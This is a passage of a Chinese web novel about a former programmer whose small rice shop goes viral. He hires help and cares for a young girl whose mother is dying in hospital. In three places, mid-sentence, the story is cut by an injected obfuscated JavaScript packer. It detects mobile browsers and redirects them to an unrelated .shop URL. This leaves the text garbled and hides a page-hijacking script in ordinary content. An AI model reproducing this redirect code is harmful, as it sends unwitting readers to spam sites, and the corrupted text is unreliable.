“有没有人组团去的?我一个人不敢去,怕吃太多。” “城南哪里?具体位置有没有?” “看着就流口水了,周末去打卡。” 房寨把手机还给小赵,继续切葱。 “老板,你不高兴吗?”小赵问。 “有什么好高兴的。” “人家夸你呢,十几万人看呢。” 房寨没说话。他不是不高兴,是不知道该用什么表情面对这种事。他一个小店老板,被美食博主拍了,十几万人看他的店,这超出了他的理解范围。他不是明星,不是网红,他就是个做饭的。他觉得自己的店很小,位置很偏,装修也简陋,菜单上的字都是自己手写的,歪歪扭扭的,没什么值得专门拍个视频的。 但小赵不这么想。小赵兴奋了一整天,每隔一会儿就刷一下那个视频,看看播放量涨了多少。到晚上的时候,播放量已经破了三十万。 “老板,明天可能要爆。”小赵说。 房寨嗯了一声,没太当回事。他想,一个视频而已,能有多大影响? 他错了。 视频发出来之后的第三天,店里爆了。 中午十一点不到,门口就开始排队了。房寨从厨房的窗户往外看,队伍弯弯曲曲的,一直排到隔壁那家店的门口。有年轻人,有中年人,有带着孩子的,有拖着行李箱的,看打扮像是从外地赶来的。 小赵在外面维持秩序,嗓子都喊哑了。 “大家排好队,不要挤,一个一个来。” “煲仔饭要等二十分钟,赶时间的可以点炒河粉或者面。” “酸梅汤和绿豆汤不用排队,直接进来买。” 但没人听他的。那些人举着手机,有的在拍照,有的在录视频,有的在跟朋友直播。一个穿裙子的姑娘对着镜头说:“家人们,我现在就在那个网红煲仔饭的门口,你们看这个队,排了好长,我等下进去给你们拍煲仔饭。” 房寨在厨房里忙疯了。六个砂锅同时开火,两个炉头炒河粉,一个炉头煮面,铁板上还烤着鱿鱼。他一个人管这么多东西,手忙脚乱的,差点把一锅煲仔饭烧糊了。 小赵忙完外面跑进来帮忙,两个人挤在小小的厨房里,转个身都能撞到一起。 “老板,外面还有二十多个人在等。”小赵一边洗菜一边说。 “让他们等,没办法。” “有人说等太久了,走了。” “走就走,我们做不过来。” 房寨不是不想赚那个钱,是真的做不过来。他只有两只手,六个砂锅已经是极限了。再多人,他只能让他们等,等不了的就走,他没办法。 那天中午,他们接待了将近一百个客人。食材用掉了一大半,酸梅汤和绿豆汤全部卖光,煲仔饭的砂锅轮了好几轮,锅底都来不及洗。最后一份煲仔饭出锅的时候,已经快两点了。 房寨靠在墙上喘气,小赵趴在桌上不想动了。 “老板,以后天天这样怎么办?”小赵有气无力地问。 “不会的,视频热度过去了就正常了。” 房寨说得对。视频的热度持续了大概一个礼拜,这一个礼拜店里天天爆满,每天都要排队。一个礼拜之后,人流慢慢回落,但还是比之前多了不少。 那些看了视频来的人,有一部分留下了,成了新熟客。 房寨的客人群体发生了变化。以前大多是附近的居民和群里的人,现在多了很多从城市各个角落专门赶来的年轻人。他们拿着手机导航找到这家小店,排队半小时,吃一碗煲仔饭,拍几张照片,发个朋友圈,然后满意地走了。 房寨不太理解这种行为,但他不排斥。人家愿意来,他就好好做。不管是为了吃饭还是为了拍照,到他店里就是客人,他一样认真对待。 但有一件事让他不太舒服。 有人在网上发了帖子,说他的店是“网红店”,说排队的人都是托,说东西一般般,全靠营销。 房寨看到这个帖子的时候,正在厨房里洗砂锅。小赵把手机拿给他看,他看完没说什么,把手机还回去,继续洗锅。他不太在意这些。他卖的是饭,不是口碑。饭好吃,客人自然会来。饭不好吃,说再多也没用。 但阿坤在意。 阿坤在帖子下面跟人吵起来了,吵了几十个来回,最后被管理员禁言了。 “寨哥,你都不生气的吗?”阿坤问他。 “生气有用吗?” “没用,但我就是咽不下这口气。” “那你帮我个忙。”房寨说,“帮我把今天晚上的排骨汤炖了,比吵架有用。” 阿坤愣了一下,然后笑了,系上围裙去炖汤了。 那个帖子后来慢慢沉了,没什么人看了。但店里的人流量确实受到了一点影响,连续几天都比之前少了大概一成。房寨没太担心。他知道这种东西有起有落,不可能天天爆满。只要他的东西做得好,客人迟早会回来。 果然,过了一个多礼拜,生意又恢复到了之前的水平。 视频带来的另一个变化是,开始有人来找他谈合作了。 第一个来找他的是个做外卖平台的业务员,二十出头,穿着一身不合身的西装,手里拿着一沓资料。他说可以帮房寨把店上线到外卖平台,平台抽成百分之二十。 房寨算了算,一碗煲仔饭卖二十,平台抽四块,他到手十六,再扣掉食材成本,一份就赚几块钱。而且煲仔饭这东西,现做现吃最好,外卖送到就不好吃了,锅巴不脆了,饭也凉了。 他拒绝了。业务员走的时候有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511089|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不高兴,说房寨不懂互联网思维。房寨想说,他以前就是搞互联网的,但想了想,没说。 第二个来找他的是个做加盟的,四十多岁,开着一辆黑色的SUV,穿了一件polo衫,领子立起来。他说可以把“寨哥儿”做成品牌,开分店,房寨出技术,对方出资金,利润五五分。 房寨想了想,也拒绝了。他自己这家店还没搞明白呢,开什么分店。而且他觉得,“寨哥儿”这个牌子之所以有人喜欢,是因为他在店里,是因为他亲手做的饭。换个人做,味道就不一样了。做加盟是为了赚钱,但他开店不只是为了赚钱。 第三个来找他的是个电视台的人,说是市里一个美食节目的编导,想采访他。房寨本来也想拒绝,但阿坤劝他:“寨哥,电视台采访是免费的宣传,你不要钱,人家给你打广告,为什么不干?” 房寨觉得有道理,就答应了。 采访那天,来了一个主持人、一个摄像师、一个编导。三个人扛着机器进了店,把本来就不大的空间塞得满满当当。主持人是个年轻姑娘,说话甜甜的,拿着话筒问房寨各种问题。 “你以前是做什么工作的?” “程序员。” “为什么会想到来开餐饮店?” 房寨想了想,说了实话:“因为还不起房贷。” 主持人愣了一下,然后笑了,大概没想到他会这么回答。编导在旁边竖了个大拇指,意思是这个回答好。 采访拍了两个小时,剪出来大概五分钟。播出的那天晚上,房寨没有看。他在厨房里备料,小赵在外面喊他:“老板,快来看,你上电视了!” 房寨擦了擦手,走出去看了一眼。店里的电视正在播那个节目,画面里的他站在灶台前面,穿着围裙,脸上全是汗,看起来又瘦又黑。 “这不是我。”他说。 “这就是你。”小赵说。 他看了一会儿,觉得电视里的那个人确实是自己,但又不太像。那个人的眼睛里有光,那种光他在镜子里没见过。可能因为他不怎么照镜子。 电视节目播出之后,又有一波新客人来了。但这次没有上次那么夸张,可能是因为电视台的观众年纪偏大,不会专门为了一个路边小店跑很远。来的大多是住在附近的中老年人,看了电视觉得新鲜,过来尝尝。 有个老大爷专门从三条街外走过来,点了一份腊味煲仔饭,吃完之后说了一句:“电视上没骗人,确实好吃。”房寨听了,比听到博主说“没有之一”还高兴。 房寨的生活又回到了正常的节奏。早上到店备料,中午忙一波,下午准备晚上的料,晚上再忙一波,关门回家。一天又一天,一周又一周,日子过得很快,快到他想不起来今天是星期几。 但他喜欢这种感觉。忙,但是踏实。累,但是有盼头。 有一天晚上关店之后,房寨一个人坐在店里,把那个美食博主的视频又看了一遍。这次他没有跳过,从头看到尾。他看到视频里的自己站在灶台前面,低着头,专注地看着砂锅里的火候,锅铲在手里翻动,动作不算快,但很稳。 他忽然意识到一件事。 在那些人眼里,他不只是一个做饭的。 他是一个认真做饭的。 认真,这件事在这个时代好像变成了一种稀缺的品质。大家都很快,很赶,很浮躁。很少有人愿意花十五分钟等一锅煲仔饭,很少有人愿意为了一个锅巴反复调整火候。但他做了,而且一直在做。 不是因为他有多高尚,是因为他觉得,既然做了,就要做好。 就这么简单。 21. 第 21 章 九月的时候,房寨发现天开始凉了。 早上出门的时候穿短袖有点冷了,要加一件薄外套。店里的空调不用开了,开着窗户就有风。酸梅汤和绿豆汤的销量开始往下掉,凉面也没以前好卖了。以前一天能卖五六十碗绿豆汤,现在一天能卖二十碗就不错了。凉面更惨,有时候一天只卖出几碗,大部分都倒掉了。 他需要换菜单了。 系统面板在他看菜单的时候弹了出来。 【季节更替提醒。建议推出适合秋季的菜品:炖品、煲类、热饮。】 【推荐菜品:萝卜炖牛腩、姜撞奶、红枣桂圆茶。】 【特别提示:秋冬季节食客更偏好温热、滋补类食物,建议增加汤品比重。】 房寨看着这三个推荐,觉得系统越来越懂他了。萝卜炖牛腩可以做,正好店里有牛肉和牛腩,萝卜便宜,炖一锅能卖很多份。姜撞奶有点麻烦,需要现做,但成本不高,利润可以。红枣桂圆茶最简单,泡就行了,连煮都不用。 他决定先做萝卜炖牛腩。 牛腩的做法和红烧牛肉面差不多,但要稍微清淡一些,突出牛肉本身的香味。房寨试了几次,第一次炖得太浓了,吃起来和牛肉面一个味道,客人说“这不就是牛肉面不加面吗”。第二次炖得太淡了,萝卜没入味,牛腩也有点腥。第三次他调整了配方,酱油减半,多加了一颗番茄提鲜,炖出来的汤头清亮但味道够,萝卜吸饱了汤汁,牛腩软烂不柴。 萝卜切滚刀块,和牛腩一起炖,炖到萝卜透明软烂,用筷子一戳就进去,但不会散。这时候的萝卜比肉还好吃,吸收了牛肉的汤汁,咬一口,汁水在嘴里爆开,甜丝丝的,带着肉香。 他定价二十二块钱一份,配一碗米饭。成本大概十块出头,毛利还行。 萝卜炖牛腩上架的第一天,卖得最好的不是年轻人,是附近的老人。有个老大爷,七十多岁,牙都快掉光了,吃别的费劲,吃这个正好。牛腩炖得烂,萝卜入口即化,不用怎么嚼就能咽下去。老大爷点了一份,吃了一半,把另一半打包了。 “带回去给我老太婆尝尝。”他说。 第二天老大爷又来了,这次带了老太太一起来。老太太坐在轮椅上,老大爷推着她,走了大概二十分钟才到。店门口有个小台阶,轮椅推不上去,老大爷正发愁,小赵看到了,跑出去帮忙把轮椅抬了上来。 老太太话不多,从进门到坐下就说了一句“谢谢”。她吃了一块萝卜,嚼了很久,然后点了点头。老大爷问她好吃吗,她说好吃。老大爷笑了,笑得很开心,像是自己做了一件很了不起的事。 房寨站在厨房门口看着这一幕,心里暖了一下。他给老太太多盛了一碗汤,免费的,用店里最大的碗装的。老太太喝了几口,抬起头看着他,这次说了两个字:“好喝。” 老大爷走的时候,特意到厨房门口跟房寨说了声谢谢。他说他老太婆中风以后就不怎么吃东西了,什么都嫌没味道,今天是第一次说“好吃”。 “小伙子,你这个炖得好。”老大爷说着说着眼圈有点红,但没哭,从口袋里掏出一张皱巴巴的十块钱,非要塞给房寨。 房寨没要,把钱推回去了。 “大爷,汤是送的,不要钱。” 老大爷看了看手里的钱,又看了看房寨,把钱收回去,点了点头,推着老太太走了。 房寨站在门口看着他们走远。老大爷走得很慢,轮椅的轮子在水泥地上发出咕噜咕噜的声音,越来越远,越来越小,最后消失在街角。 他忽然想起自己奶奶。奶奶也七十多了,一个人在老家,腿脚也不太好,走路要拄拐杖。上次打电话的时候,奶奶说她的膝盖又疼了,去医院看了,医生说要做手术,她不肯做,说年纪大了不想折腾。 房寨掏出手机给奶奶打了个电话。响了好几声才接,奶奶的声音从听筒里传出来,带着老家的口音,听起来很亲切。 “寨儿啊,吃饭了没有?” “吃了。你呢?” “吃了吃了,你不用担心我。”奶奶说,“你那个店开得怎么样了?” “还行,生意挺好的。” “那就好,那就好。”奶奶说,“你一个人在外面要照顾好自己,别太累了。我看天气预报说你们那边要降温了,你多穿点衣服。” “嗯,你也是。奶奶,你膝盖还疼吗?” “不疼了不疼,好多了。”奶奶说得很快,像是怕他担心。 房寨知道奶奶在骗他,但他没拆穿。 “奶奶,等我攒够了钱,接你过来住。” 电话那头沉默了几秒。然后奶奶说了一句:“好,我等你。” 挂了电话之后,房寨在门口站了一会儿。秋风从街上吹过来,带着一股凉意,把地上的落叶吹得沙沙响。街对面的梧桐树开始掉叶子了,黄黄绿绿的铺了一地,扫地的阿姨刚扫完,风一吹又落了一层。 他想,等攒够了钱,一定把奶奶接过来。 秋天来了之后,店里的营业时间也调整了。夏天的时候晚上八点还有很多人,秋天七点多就没什么人了,天黑得早,大家都不愿意出门。房寨把关门时间提前到了七点半。省电,也省人工。小赵下午有课的时候,他就一个人看店,客人不多,不用一直在厨房里忙,可以坐在门口晒晒太阳,看看手机。 有一天下午,店里来了个快递员。不是来吃饭的,是来送快递的。他手里拿着一个大箱子,放在门口,让房寨签收。 房寨看了看箱子上的寄件人,不认识。地址写的是城北的一个小区,名字叫“一个老顾客”。 他拆开箱子,里面是一个新的电饭煲,还有一张纸条。纸条上写着:“寨哥儿,我是你一个老顾客,看你店里的电饭煲旧了,内胆涂层都掉了,煮饭容易粘锅。送你一个新的。不用谢。” 房寨看着这个电饭煲,不知道说什么好。他把电饭煲拿出来,放在厨房里,把旧的换掉了。旧的那个确实该换了,内胆的涂层掉了好几块,煮饭的时候总是粘锅底,洗的时候要用钢丝球使劲刷,刷得内胆上全是划痕。他一直舍不得换新的,觉得还能用,能省就省。 现在有人帮他换了。 房寨把新电饭煲擦干净,拍了张照片发到群里。 “谢谢送电饭煲的朋友,破费了。” 群里的人又开始起哄。 “谁送的?我也要送!” “寨哥儿你还缺什么?我送你个锅。” “我送你个围裙。” “我送你个洗碗机。” “寨哥儿你店里的筷子该换了,我下次去给你带一包。” 房寨看着这些消息,笑了。他想起几个月前,自己还一个人在出租屋里吃蛋炒饭,连个说话的人都没有。现在他有了一群愿意给他送电饭煲的人。这些人他大部分都不认识,没见过面,不知道长什么样,叫什么名字,做什么工作。但他们愿意对他好,因为他先对他们好了。 他现在相信一句话了——你对别人好,别人也会对你好。 开店到现在,他从来没觉得自己做了什么了不起的事。就是做做饭,对人客气点,食材用好的,份量给足。有人要加汤,他就给加,不收钱。有人要换口味,他就给换,不嫌麻烦。有人带着孩子来,他就给孩子蒸个蛋羹,免费的。就这么简单。 但在那些人眼里,这些小事好像变成了大事。他们记住了他的好,然后用各种方式还回来。有人送电饭煲,有人送碗筷,有人送围裙,有人送抹布,有人送了一盆绿萝摆在店门口,说是能招财。房寨不懂这些,但绿萝确实长得挺好,绿油油的,看着就精神。 九月底的时候,房寨把第三个月的账算了。 这个月的营业额比上个月少了大概两成。他翻开记账本,一页一页地看。上个月总营业额两万三,这个月只有一万八出头。凉面和酸梅汤的销量掉了一大截,新的炖品还没完全接上,青黄不接的时候,营业额自然就下来了。 但净赚还是有一万出头。因为食材成本也低了,夏天的绿豆、乌梅、面条用量大,秋天的萝卜、牛腩虽然不便宜,但损耗少,不像绿豆汤那样卖不掉就要倒掉。 他把这个月的收入和支出列了一个表,看了好几遍。房租两千八,食材五千多,人工三千五,水电杂费七八百,加起来一万二左右。营业额一万八,净赚六千。加上系统奖励的房贷减免,这个月总共还了一万一的房贷。 他把本子合上,靠在椅背上,长长地呼了一口气。 开店三个月,平均每个月净赚八千左右。加上系统奖励,他已经还了将近十二万的房贷。一百五十二万变成了一百四十万。虽然还差得远,但至少方向是对的。每个月都在减少,不是增加,这就够了。 他开始想,要不要再请一个人。 小赵一个人忙不过来,尤其是中午高峰期。他需要一个专门洗碗和收拾桌子的,这样小赵就能专心点单收银,他就能专心做菜。现在小赵又要点单又要收银又要收拾桌子,有时候还要进来帮忙洗碗,忙得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511090|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个陀螺,转个不停。房寨看着都累。 他在门口贴了一张招聘启事:“招洗碗工一名,男女不限,年龄不限,工作时间中午十一点到下午两点,一小时十五块。”启事是用纸板写的,字还是歪歪扭扭的,但比以前好看了一点。贴出去之后,路过的人看了一眼,有的摇摇头走了,有的拍了张照片,不知道是发朋友圈还是发给朋友看。 第二天,有个阿姨来应聘了。 阿姨五十多岁,姓周,就住在附近的小区。她说她退休了闲得慌,想找个事做。房寨问她以前做过什么,她说在工厂食堂干过,会洗碗,也会打扫卫生,手脚麻利,不偷懒。 房寨让她试了一天。周阿姨干活确实利索,碗洗得干净,桌子擦得亮,连灶台都顺手擦了。她还把厨房里的调料瓶重新摆了一遍,按大小个排好,整整齐齐的,看着就舒服。地也拖了,拖了三遍,地面亮得能照出人影。 “行,周阿姨,你明天就来上班。” 周阿姨笑了,露出一口整齐的牙。她笑起来很好看,不像五十多岁的人,像四十出头的。她说她年轻的时候在食堂干活,一天洗几百个碗,手都不带停的。现在退休了,闲不住,不干活浑身难受。 有了周阿姨,店里的运转更顺畅了。房寨在厨房做菜,小赵在外面点单收银,周阿姨洗碗收拾。三个人各司其职,像一台小机器一样运转着。房寨终于不用再自己洗碗了,省下来的时间可以用来研究新菜,或者休息一会儿。 房寨开始有了一点属于自己的时间。 下午两点到四点,店里没什么人,小赵和周阿姨都下班了。房寨一个人坐在店里,有时候研究新菜,有时候算账,有时候什么都不做,就坐着发呆。阳光从窗户照进来,照在蓝色的格子桌布上,灰尘在光线里飘来飘去,很慢很慢,像是时间也变慢了。 他喜欢这段时间。安静,没人打扰,不用想太多事情。他可以坐在靠窗的位置上,看着街上的人来来往往,看他们走路的样子,看他们脸上的表情,猜他们要去哪里,要做什么。有的人走得很急,像是有很重要的事情。有的人走得很慢,像是在散步。有的人边走边看手机,差点撞到电线杆。 他觉得自己好像提前过上了老年生活。但他不介意。老年生活有什么不好?不用赶时间,不用看人脸色,不用为了房贷愁得睡不着觉。虽然房贷还在,但至少不愁了。他知道自己每个月能赚多少,知道每个月能还多少,知道大概需要多少年能还完。 这个“知道”,就是最大的安全感。 有一天下午,房寨坐在店里晒太阳,手机震了一下。是阿坤发来的消息。 “寨哥,我考过营养师了。” 房寨愣了一下,然后笑了。他想起几个月前,阿坤跟他借了两千块钱,说要考营养师证。那时候他还以为阿坤是说着玩的,没想到真考过了。 他回复了一句:“恭喜,请我吃饭。” 阿坤秒回:“凭什么我考过了我请你?” “因为你借我的钱还没还。” 阿坤发了一长串省略号,然后说:“行吧,晚上请你吃烧烤。” 那天晚上关店之后,房寨去了阿坤说的那家烧烤店。阿坤已经在那里了,桌上摆了一堆串,还有两瓶啤酒。他看起来瘦了一点,也精神了一点,穿了一件新T恤,上面印着几个字:营养改变生活。 “你这衣服又是自己做的?”房寨坐下来,拿起一串羊肉。 “不是,机构发的。”阿坤说,“考过证的人都有一件。” “挺好看的。” “好看什么啊,丑死了。”阿坤嘴上这么说,但没脱下来。 两个人吃着串喝着啤酒,聊了很多。聊店里的生意,聊阿坤的新工作,聊小赵的学业,聊周阿姨的洗碗技术。聊着聊着,阿坤忽然问了一句:“寨哥,你现在还觉得累吗?” 房寨想了想,说:“累,但不一样了。” “怎么不一样?” “以前的累,是白累。现在的累,是值了。” 阿坤看着他,点了点头,举起啤酒瓶。 “来,寨哥,敬你。” “敬我什么?” “敬你那个值了的累。” 房寨笑了,举起瓶子,碰了一下。 夜风从街上吹过来,带着秋天的凉意。烧烤的烟飘上去,飘到路灯下面,被灯光照成一片朦胧的白色。 房寨喝了一口啤酒,觉得今天的啤酒特别好喝。不是因为酒好,是因为心情好。 22. 第 22 章 十月的第一个周末,店里来了一个房寨永远不会忘记的客人。 是个小姑娘,大概七八岁的样子,穿着校服,背着书包,一个人站在店门口。她往里看了看,又缩回去了。过了一会儿又探出头来看,反反复复好几次,像是在犹豫要不要进来。 小赵注意到了,出去问她:“小朋友,你找谁?” 小姑娘低着头,声音很小,小到小赵要蹲下来才听得到:“我饿了。” “你一个人来的?爸爸妈妈呢?” 小姑娘不说话了,就站在门口,两只手攥着书包带子,攥得指节都发白了。 小赵把她领进来,给她倒了杯水。小姑娘坐在椅子上,两只脚够不到地面,晃来晃去的,但眼睛一直盯着厨房的方向,大概是闻到了香味。 房寨从厨房里出来,看到这个小姑娘,愣了一下。他在这条街上开店好几个月了,从来没见过她。附近的小孩他大多认识,放学的时候经常从店门口路过,有的会进来买一杯酸梅汤,有的会趴在窗户上看他炒菜。但这个小姑娘面生得很。 他蹲下来,平视着她的眼睛。 “你想吃什么?” 小姑娘抬起头看着他,眼睛很大,黑亮黑亮的,里面有一种不属于这个年纪的东西。房寨说不上来是什么,像是害怕,又像是倔强,两种东西混在一起,让人看了心里发紧。 “我没有钱。” “不要钱,我请你。” 小姑娘想了想,嘴唇动了动,说了两个字:“吃面。” 房寨回到厨房,给她做了一碗阳春面。没有加太多东西,就是清汤、细面、葱花、一滴猪油。最简单的面,也是最暖的。他特意把面条煮得软了一些,怕她牙口不好。汤也多舀了半勺,秋天的傍晚已经有点凉了,热汤下去能暖身子。 小姑娘吃得很慢,一口一口的,像是在品尝什么珍贵的东西。她先把面条挑起来吹凉,然后一小撮一小撮地吃,吃完了面再喝汤,喝一口停一下,喝一口停一下,像是在感受热汤从喉咙流到胃里的过程。她把汤也喝完了,碗底干干净净,一粒葱花都没剩。 “好吃吗?”房寨问。 小姑娘点了点头,然后忽然哭了。 不是那种大声的哭,是那种默默的流泪,眼泪一颗一颗地往下掉,砸在空碗里,发出很轻很轻的声音。她没出声,肩膀也没有抖,就是眼泪不停地流,像是拧开了的水龙头,关不上。 房寨慌了。他不太会哄小孩。从小到大跟小孩打交道的次数屈指可数,他连自己表妹都没怎么抱过,更别说哄一个在店里哭的小姑娘了。 “怎么了?不好吃?”他笨拙地问。 小姑娘摇了摇头,用手背擦眼泪,擦完又流出来了,根本擦不干净。 “我想妈妈了。” 房寨不知道该说什么了。他就在旁边坐着,等她哭完。小赵想过来帮忙,他摆了摆手,让小赵去忙别的。有些时候,小孩哭不需要人哄,只需要有人在旁边陪着就行。 小姑娘哭了一会儿,慢慢停了。她吸了吸鼻子,在椅子上坐直了,从书包里掏出一个皱巴巴的信封,递给房寨。 “这是我妈妈让我给你的。” 房寨接过信封,感觉手里轻飘飘的。信封很旧,折了好几次,边角都磨毛了,上面没有写字,空白的。他打开一看,里面是一封信。信纸也很旧,折痕很深,像是被人反复打开又折上过很多次。上面的字歪歪扭扭的,有的地方被水渍洇模糊了,但大部分还能看清。 “老板你好,我是这个小女孩的妈妈。我现在在医院,可能出不来了。我女儿很喜欢吃你做的面,她跟我说过好几次,说有一个叔叔做的面特别好吃,比外面所有店做的都好吃。我问她在哪家店,她说在城南,靠近翠屏路那边,有一个很小的店,叔叔人很好,面也很好吃。我走之前想让她再吃一次你做的面,但我去不了了,就让她自己去了。谢谢你给她做面。拜托你以后如果看到她,再给她做一碗。她叫小月。谢谢。” 房寨看完信,手有点抖。他把信纸折好,放回信封里,装进了自己的口袋。动作很慢,像是怕把信弄坏了。 他抬起头,看着那个叫小月的小姑娘。她正低着头,用手指在桌上画圈圈,一圈一圈的,很认真,像是在画什么很重要的东西。 “你妈妈叫什么名字?”房寨问。 “王丽。” “她在哪个医院?” 小月说了一个医院的名字,就在城南,不远,骑车过去大概二十分钟。 那天晚上关店之后,房寨没有直接回家。他把店里的东西收拾好,让小赵和周阿姨先走了。然后他煮了一碗排骨汤,用保温桶装好,又切了几块萝卜放进去,想了想,又加了两块排骨。 他骑上三轮车,去了那个医院。 到医院的时候已经快九点了。住院部的走廊很安静,灯很亮,白晃晃的,照得人眼睛不舒服。护士站的小护士正在低头写东西,听到脚步声抬起头来,看了他一眼。 “请问王丽在哪个病房?”房寨问。 小护士的表情变了一下,上下打量了他一遍:“你是她什么人?” “朋友。” 小护士犹豫了一下,告诉了他病房号,然后加了一句:“她情况不太好,你别待太久。” 房寨说了声谢谢,顺着走廊往里走。走廊很长,两边都是关着门的病房,门上的小窗透出微弱的光。有的房间里有人在说话,声音很低,听不清说什么。有的房间很安静,安静得像没有人一样。 他找到那个病房的时候,门开着。里面有三张床,两边的床都空着,被子叠得整整齐齐,中间的床上躺着一个人。 是个女人,瘦得不成样子。她的头发掉光了,头上包着一块花布巾,脸上的颧骨高高凸起,眼窝深深地凹下去,皮肤蜡黄蜡黄的,没有一丝血色。她的手上扎着针,管子连到床头的输液架上,药水一滴一滴地往下掉,很慢很慢。 房寨差点没认出来。但床头卡上写着名字——王丽,年龄三十二岁。 三十二岁。 他看着那张脸,怎么也没办法把一个三十二岁的女人和眼前这个人联系在一起。三十二岁,应该正是最有精神的年纪,应该每天忙着上班、带孩子、跟朋友逛街聊天。不应该躺在这里,瘦成这样,头发掉光,连抬手都费劲。 他走进去,把保温桶放在床头柜上。动作很轻,怕发出声音。 王丽慢慢睁开眼睛。她的眼神有点涣散,像是刚从很深很深的梦里醒过来,还不确定自己在哪里。她看着房寨,看了好几秒,嘴唇动了动,但没有发出声音。 “我是做面的。”房寨说,“你女儿今天来我店里了,我给她做了一碗面。这是排骨汤,给你的。” 王丽的眼睛慢慢亮了起来。那种变化很明显,像是有一盏灯在眼睛深处被点亮了,虽然光很微弱,但确实亮了。她之前看房寨的眼神是涣散的、没有焦点的,像在看一个模糊的影子。但听到“女儿”两个字之后,她的眼神忽然就有了焦点,直直地看着房寨,像是要把他的脸刻进脑子里。 “小月……”她的声音很轻,轻到几乎听不见,像是从很远很远的地方传过来的。 “她很好。”房寨说,“她把信给我了,我就来了。” 王丽想坐起来,但动了一下就没力气了,身体往上撑了一点点又摔回了枕头上。房寨赶紧按住她的肩膀。 “别动,你躺着就行。” 王丽躺回去了,眼睛还是看着房寨。 “汤我给你放这儿了,你想喝的时候让护士帮你热一下。”房寨说,“小月明天还会来我店里,我会给她做面,你放心。” 王丽笑了。那个笑容很小,嘴角只往上翘了一点点,但很真,不是那种礼貌性的、应付人的笑,是真的从心里面长出来的笑。她笑起来的时候,脸上那些凹陷和棱角好像都柔和了一些,看起来没那么吓人了。 “谢谢。”她说。 房寨站在那里,不知道该说什么。他不是会说话的人,在这种场合更不知道说什么。他想说“你一定会好起来的”,但看着王丽的样子,这句话怎么也说不出口。太假了,假到说出来就是在侮辱对方的智商。他想说“小月很乖,你放心”,但这句话也说不出口,因为人家怎么可能放心? 最后他说了一句:“你女儿很乖。” 王丽又笑了,这次笑得大了一点。 “我知道。” 房寨从病房里出来的时候,在走廊里站了一会儿。走廊很长,灯很亮,白晃晃的,照得到处都亮,但走廊尽头是黑的,像是被什么东西切断了,光到那里就没了。有护士推着车从走廊那头走过来,轮子在地砖上滚动的声音很轻,咕噜咕噜的,越来越近,又越来越远。 他深吸了一口气,走了。 第二天,小月又来了。 她穿着和昨天一样的校服,背着那个旧书包,一个人站在店门口。书包带子一边长一边短,长的那边快掉到胳膊肘了,她也没调。这次她没有犹豫,直接走进来了,像是已经决定了什么。 “叔叔,我还想吃面。” 房寨给她做了一碗阳春面,这次多加了一个荷包蛋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她经常从家里带零食来给小月。小饼干、小蛋糕、牛奶、水果,装在保鲜盒里,塞到小月的书包里。小月不吃,说留着给妈妈吃。周阿姨听了,鼻子一酸,转身去厨房洗了好久的脸,水龙头开得很大,水声哗哗的,遮住了她的声音。 小赵对小月也很好。他大学学的是酒店管理,但数学不错,教小月写作业绰绰有余。小月的数学不太好,尤其是应用题,总是读不懂题目。小赵就一道题一道题地讲,用最笨的办法,画图、举例子、反反复复地讲,讲到她听懂为止。有时候一道题讲半个小时,小月还是不懂,小赵也不急,换个方法再讲。 店里的客人都认识小月了。她每天固定时间出现,坐在固定位置上,吃一碗面,然后写作业,等房寨忙完了再跟他说几句话,然后背着书包走。客人看久了,就觉得这个小孩好像是店里的一部分,像那张靠墙的椅子一样自然。 有人会给她带小礼物。一个发卡,粉色的,上面有一朵小花。一本图画书,讲一只小熊找妈妈的故事。一盒彩笔,二十四色的,包装盒上写着“无毒安全”。一个布娃娃,旧旧的,但洗得很干净,眼睛是蓝色的,很亮。 小月都收着,整整齐齐地放在书包里,说要带回去给妈妈看。她说妈妈最喜欢看她画画了,她要画一幅画送给妈妈。 房寨看着她把这些东西一样样装进书包,书包越来越鼓,拉链都快拉不上了。他想说“你书包太重了”,但没说出口。那些东西对她来说不是重量,是宝贝。 房寨看着小月,常常想起自己小时候。 他小时候也是这样的。一个人,没有爸爸。妈妈在外面打工,一年回来一次,有时候过年都不回来,说路费太贵了。他跟奶奶住,奶奶对他好,给他做饭洗衣服,冬天给他暖被窝,夏天给他扇扇子。但他总觉得少了点什么。 他说不上来少了什么。 但现在看到小月,他知道了。 少的是安全感。那种“不管发生什么,都有人接着我”的安全感。那种“天塌下来有人顶着”的安全感。那种“我不是一个人”的安全感。 他有奶奶,奶奶对他很好。但奶奶老了,需要他照顾,而不是他照顾他。他从很小就知道,不能让奶奶操心,不能让奶奶担心,要好好学习,要听话,要懂事。他做到了,但做到这些的代价是,他从来没有真正放松过。 他不知道小月是不是也是这样。 但他想,应该差不多。 房寨不知道自己能不能给小月这种安全感。他只是一个开小饭馆的,没有什么本事,也没有什么钱,连自己的房贷都还没还完。但他想试试。 至少,他能保证小月每天有一碗热面吃。 这就够了。 23.第 23 章 十月中旬下了一场大雨。 